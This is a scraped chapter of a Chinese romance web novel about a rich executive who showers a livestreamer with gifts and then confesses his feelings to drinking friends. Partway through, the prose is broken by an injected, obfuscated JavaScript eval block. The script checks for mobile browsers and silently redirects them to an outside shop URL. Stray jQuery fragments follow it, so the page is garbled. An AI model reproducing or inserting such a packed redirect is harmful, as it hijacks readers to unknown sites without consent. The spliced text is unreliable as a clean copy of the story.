文趣网 > 其他小说 > 照顾下我妹 > 29. 直播
    俞含章搜索鹿昕的网名,跳出来了直播的链接。

    从外面的小框他看见她在往唇上涂口红。

    他记得她的唇一直红润水嫩,不知道为什么在直播的镜头下,苍白到和脸上的粉底一个颜色。

    她先是在唇中央点了两下,然后用一把小刷子向两侧扫。

    化完果然更顺眼了,像她之前的唇色。

    突然,他的屏幕被特效挡住,手机里传来鹿昕甜美的声音。

    “谢谢,斑比的老婆大人送来的跑车,可是老婆大人我不想要跑车,想要你支持一下唇釉,它真的很美。”

    老婆大人?在叫谁?

    俞含章第一次知道直播还能送礼物,还有榜单。

    他点开礼物栏,果断选择了最贵的嘉年华,点下去提示他需要实名认证,然后绑卡。

    一系列操作结束后,他送出第一个嘉年华,接着一个又一个。

    屏幕上被嘉年华占领,他的名字——用户666888,一直在屏幕上。

    【我C,大佬啊!有人数着吗?多少个嘉年华。】

    【我数了,十个,这就3W了。】

    鹿昕被突如其来的嘉年华砸懵了,说实话这是品牌的直播间,送的礼物她是一分都捞不着。

    “额……用户666888,不需要给我刷礼物,多多支持我们的新品就好了。”

    下一秒,特效又追了上来。

    直播间里的众人惊呼,各自放下手里的活,开始数有几个嘉年华。

    鹿昕也是第一次见到这么大的阵仗,她不记得有哪位老粉是初始昵称。

    用户666888还是个豹子号。

    她面色微微凝重,声音不比先前的温柔,但也尽量保持平静。

    “这位朋友,停一下,我们这是新品的发布专场,不需要刷礼物打榜。”

    弹幕上评论刷得更加疯狂。

    【榜单终于换人了,榜一大哥竟然是成立不久的新号。】

    【大哥666】

    斑比的老婆大人在特效结束后也开始砸嘉年华。

    鹿昕知道这位是一直支持自己的美女姐姐,谁赚钱都不容易,她舍不得粉丝因为一时冲动消费。

    “老婆大人,不要再刷了,我还要介绍新品,这样没法直播了。”

    她嘟着嘴,语气软软糯糯,看向镜头的眼睛亮晶晶,让俞含章更加郁闷了。

    斑比的老婆大人停下,俞含章立马接上。

    鹿昕头疼不已,再这样下去,直播真的没法继续了。

    “用户666888,这位朋友,我下播后会私信你,争取把钱退给您,不要再刷了哦。”

    俞含章看着直播,皱了皱眉。

    私信他?她会对每个给她刷礼物的人这样吗?

    直到直播结束,他始终都在榜一,他满意地退出直播间。

    很快鹿昕的私信发过来。

    【您好,我是食物链顶端的小鹿,感谢您对我的支持,但今天是品牌的新品活动,不需要打赏,我争取到直播间分成的百分之五十,希望加您个联系方式退给您。】

    联系方式吗?不稀罕。

    【小钱不用。】

    鹿昕在手机对面瞠目堂舌,果然还是太有钱了,但是富贵不能淫,这钱她不能收。

    【同志,我是真的不能收,几千几百就算了,将近十万确实不太行。】

    同志都用上了,共产主义光辉下赶快拿回去吧。

    俞含章已经放下手机处理工作。

    鹿昕紧等慢等,没等到回复,她吸了口气对小懒说:“小懒,这个榜一你继续跟进,如果他提供了联系方式,把钱退给他。”

    小懒应下后,跑去和品牌方对接直播后的事宜,所以事情结束后领着鹿昕回家了。

    下班后俞含章难得早早回家,他正准备喝点,门铃被人按响。

    打开门是阚桦方牧和江沉杨三人,他冷眼看他们,弯腰拿拖鞋说:“你们有事?”

    “没事不能来找你,你不想我,我都想你了。”阚桦一如既往地吊儿郎当。

    他手中拿着两瓶红酒,踢掉鞋趿拉着拖鞋往客厅去,看到桌上的酒瓶,他兴奋地回头冲后面两个人说。

    “我就说吧,他家有好酒你们还非得拿,看来真的要无醉不归。”

    后面跟上的两个人也一手拿着一瓶酒。

    俞含章皱眉:“你们是上我家来买醉?我可陪不了你们。”

    “你好意思说我们,你桌子上的酒是给狗喝的?”

    他们把酒摆在大理石餐桌上,几瓶酒放在一起,真有种彻夜买醉的嫌疑。

    俞含章越过他们,从橱柜里找出四杯高脚杯,给他们添酒。

    他先拉开椅子坐上,品一口杯中鲜艳的红酒。

    阚桦一眼看出来不对劲,在俞含章身边坐下,凑得很近。

    “老俞你不对,你这失魂落魄,萎靡不振的模样,莫非是,”他说着转头和方牧对视一眼,“为情所困。”

    俞含章只是一口接一口喝掉杯中的酒,没有搭理他们。

    “你们瞅瞅,向来高高在上的俞总,何时这般落寞过,情不知所起一往情深。”

    阚桦越说越起劲,手舞足蹈的,就差没当场作首诗。

    俞含章看着逐渐贴近的脸,他烦躁地一把把他推远。

    “别烦我,你们来找我不会就是为了喝酒吧?”

    其他两个人都没说话,只是拉开椅子静静喝酒。

    阚桦被问到心坎上,他噗嗤一声呜咽起来。

    “说了半天其实是你兄弟我,坠入爱河了,老俞,你帮我分析一下。”

    江沉杨低低地笑了:“你找他分析,不如大街上随便找一个人问,他要是懂得还会在这喝闷酒。”

    俞含章冷眼看了他一眼,声音很淡问阚桦。

    “你怎么了?”

    “鹿昕小姐姐的小舍友,我追了她几天了理都不理我,第一次有一个女人对金钱不感兴趣。”

    “鹿昕的舍友?”

    “就是之前和鹿昕一起来公司拍宣传片的那个,后来遇到了几回”,他说着噗呲一笑,“兄弟承认,我爱上她了。”

    江沉杨发出灵魂拷问:“她为什么不理你,虽然前女友多了些,但你有钱,长得不错,应该大部分女人都不会拒绝你。”

    阚桦把杯中的酒一饮而尽,低头:“她有男朋友。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594056|203501||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    江沉杨没忍住,咒骂道:“你这货怎么和鹿周沛一样,一个惦念人妻,一个想着别人的女朋友。”

    “我为什么会和一群道德低下的人坐在一起。”

    一直没说话的方牧,慢悠悠来了一句:“蛇鼠一窝,你也是这样的人。”

    江沉杨挑眉:“说得你好像不坐在这。”

    方牧:“我可不像你们那么没道德底线,听说你跟肖纯在玩强制爱?不对,是你单方面在玩。”

    江沉杨面色一沉:“她不听话就好好待在家里。”

    方牧哂笑:“你们几个谁也说不了谁,一个德行。”

    俞含章盯着杯中晃动的酒,冷声打断:“谁和他们一个德行。”

    几人看向他,江沉杨负责问:“你什么情况?”

    在几个人灼热的目光下,他吐出两个字。

    “鹿昕。”

    “平地一声雷。”

    江沉杨再爆粗口:“鹿周沛妹妹!你闹呢?”

    明知道是她,但他还是不可置信。

    “鹿周沛知道能和你翻脸。”

    俞含章解开领口的扣子,他感觉酒劲上来身体有些燥热。

    他说:“如果是两情相悦,为什么要翻脸?”

    阚桦吃瓜没吃明白:“鹿昕也喜欢你?你别太自恋。”

    江沉杨:“她喜欢你为什么你要在这喝闷酒。”

    俞含章沉默一瞬,他说:“年龄差距太大,说实话我有时候并不知道她在想些什么,甚至跟不上她的思维,但我敢确认她喜欢我,最近却又躲着我。”

    作为俞含章和鹿周沛共同的好友,江沉杨此刻有很大发言的权利。

    “年龄差距就是你们面临的第一个问题,如果这都解决不了,我劝你们也别开始了。”

    俞含章讥笑一声,语气郑重:“不可能。”

    “那你说说她最近为什么躲着你?发生了什么事?”

    俞含章大致地把鹿昕碰到花语的事说了一遍。

    江沉杨果然是有女朋友的人,一戳事情本质。

    “我看是鹿昕吃醋了,她觉得自己比不上花语,有点怯懦。”他分析完肯定地点了点头,“你完蛋了,老俞,她觉得自卑可能就会退缩。”

    俞含章听到后面,抬起眼睫,眸色昏暗不明。

    “老俞,我看你道阻且长,加油努力吧。”

    阚桦噘着嘴:“话都让你说了,我们能不知道努力吗,关键感情的事,郎有情妾无意,难啊!”

    方牧翻了他一个白眼:“你是郎有情妾无意没救了,人家和你情况不一样。”

    阚桦捂着脸,叽叽歪歪地说:“我已经吃了这么多感情的苦,你们不安慰就算了,还直往我伤口上撒盐。”

    几个人酒量都不错,加上红酒不醉人,把几瓶喝完只是脑袋有点昏沉。

    俞含章把他们送到小区门口,或司机来接,或打车回家。

    他回家看着桌上的空酒瓶,心里晃荡着江沉杨的话。

    自卑,退缩。

    之前他的怀柔政策只是为了坚固两人的感情基础,不承想却被反噬,万一小姑娘真的临阵脱逃。

    呵,是时候争个名分了。